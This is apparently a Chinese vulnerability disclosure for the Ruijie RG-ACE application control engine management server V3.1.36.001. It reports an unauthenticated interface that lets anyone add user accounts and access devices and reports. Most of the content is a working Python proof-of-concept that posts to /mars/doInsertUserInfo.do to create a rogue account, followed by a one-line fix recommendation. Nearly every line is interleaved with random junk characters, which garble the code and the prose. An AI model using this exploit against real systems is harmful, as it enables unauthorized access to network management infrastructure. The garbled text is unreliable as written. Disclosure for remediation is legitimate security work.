锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
. f2 V* l, L; l; R, c7 }9 l. c8 ]9 \3 l% H
L, P* s8 N1 D# {: O# ^测试的具体版本是9 C/ w9 _" L8 s1 h
产品名称: 锐捷应用控制引擎
" s$ z' R) e6 ~3 |1 ^" j3 X6 ~5 |版本号: 3.1.36.001 TC
F2 ~% Q- h8 [" X编译时间: 201104291730
6 k. E3 {1 E @: ]' P/ c
- Y6 v( x l8 E) i2 u* i! c8 Z2 W" F* m, x
漏洞证明:' d, l) O, s* M2 _
) N) G4 V6 W4 m" b
6 E' X! i8 O6 a8 y" R
, _4 i" V+ e, x7 [; U# Y/ D8 y+ U" Y9 p- l9 s5 b5 I
2 U4 j1 T2 b' k3 j
0 `. u" j9 d2 M0 a7 k执行脚本+ x* Z( K! }& r% p% x- [
#! /usr/bin/env python
S- k( t8 {0 l; Y#coding=gbk
! ]0 Y6 c! ~. r3 P#RG-ACE管理服务器 V3.1.36.001
; z# t: Q* c s( \7 bimport urllib2, urllib,cookielib; ^8 b# c& Q; Z5 F4 R
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP/ N. [1 i3 O3 f6 z9 m
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
/ T% M9 u1 ^- b) Q& Yopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
, D5 x V" B, b5 L0 B epost=(("event","userManager.doInsertUserInfo"),/ f: U+ G6 O$ h. c
("useractionname","addButtonValue"),
- O" z) y: {8 h3 ]9 t9 @("useropermanager","userManager"),' `9 G6 w5 R2 S& }$ b7 a1 n
("userName","t"), #######账号自己加
" i2 [+ ~9 Z# S" A("pwd","aaaaaa"),######密码自己加
% L) S% {6 y/ R6 W# Y2 H% r+ Y8 a("trueName","ad"),3 u0 Y9 ]. P& j& R E- I$ S
("email",""),
. Y- e$ g; Z4 u% L' b8 I("mobilePhone",""),6 t1 W2 x) ~ ^* h
("officePhone",""),
/ p; Q4 h: {4 G$ r! H4 D1 z; X("addr","")," ~/ Z& q4 _& U: E( l6 c: b& H
("submit","确定"))
7 A: Y W8 e! P7 a( gurllib2.install_opener(opener)# _/ i* M) u- [/ @8 Z
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
& l a' F6 e% Z- B* d, S fprint "Done"
* O, \ f D" Q7 L/ R* p% S4 l; }7 C
登录,连接设备$ t. Y2 \; O" Y+ J3 t, @. M
* H5 }* w% W9 x4 `" K L9 V
6 J4 l2 ?5 W U* C, g. p
/ E! h& `/ ^0 U7 \
1 i0 a0 g) z. c$ }+ i) N( X |
2 C! c( _2 }8 Z- s, Y默认的管理员admin权限更大点
) X A( ^+ R6 y6 o
9 ~1 f+ n; g! s; Z' s% B( J, K( r! N. ?" q; |4 N: Y% X
6 v4 d+ C U! L
! L0 v) e. _+ G" t! _
+ M! z& ?& y: N, x/ S修复方案:
; c7 U2 j" @: T3 [/ S5 i加强对接口的权限验证
8 q3 Q% M3 i X# Q ?4 }2 M! H! v# y2 `; b4 o
|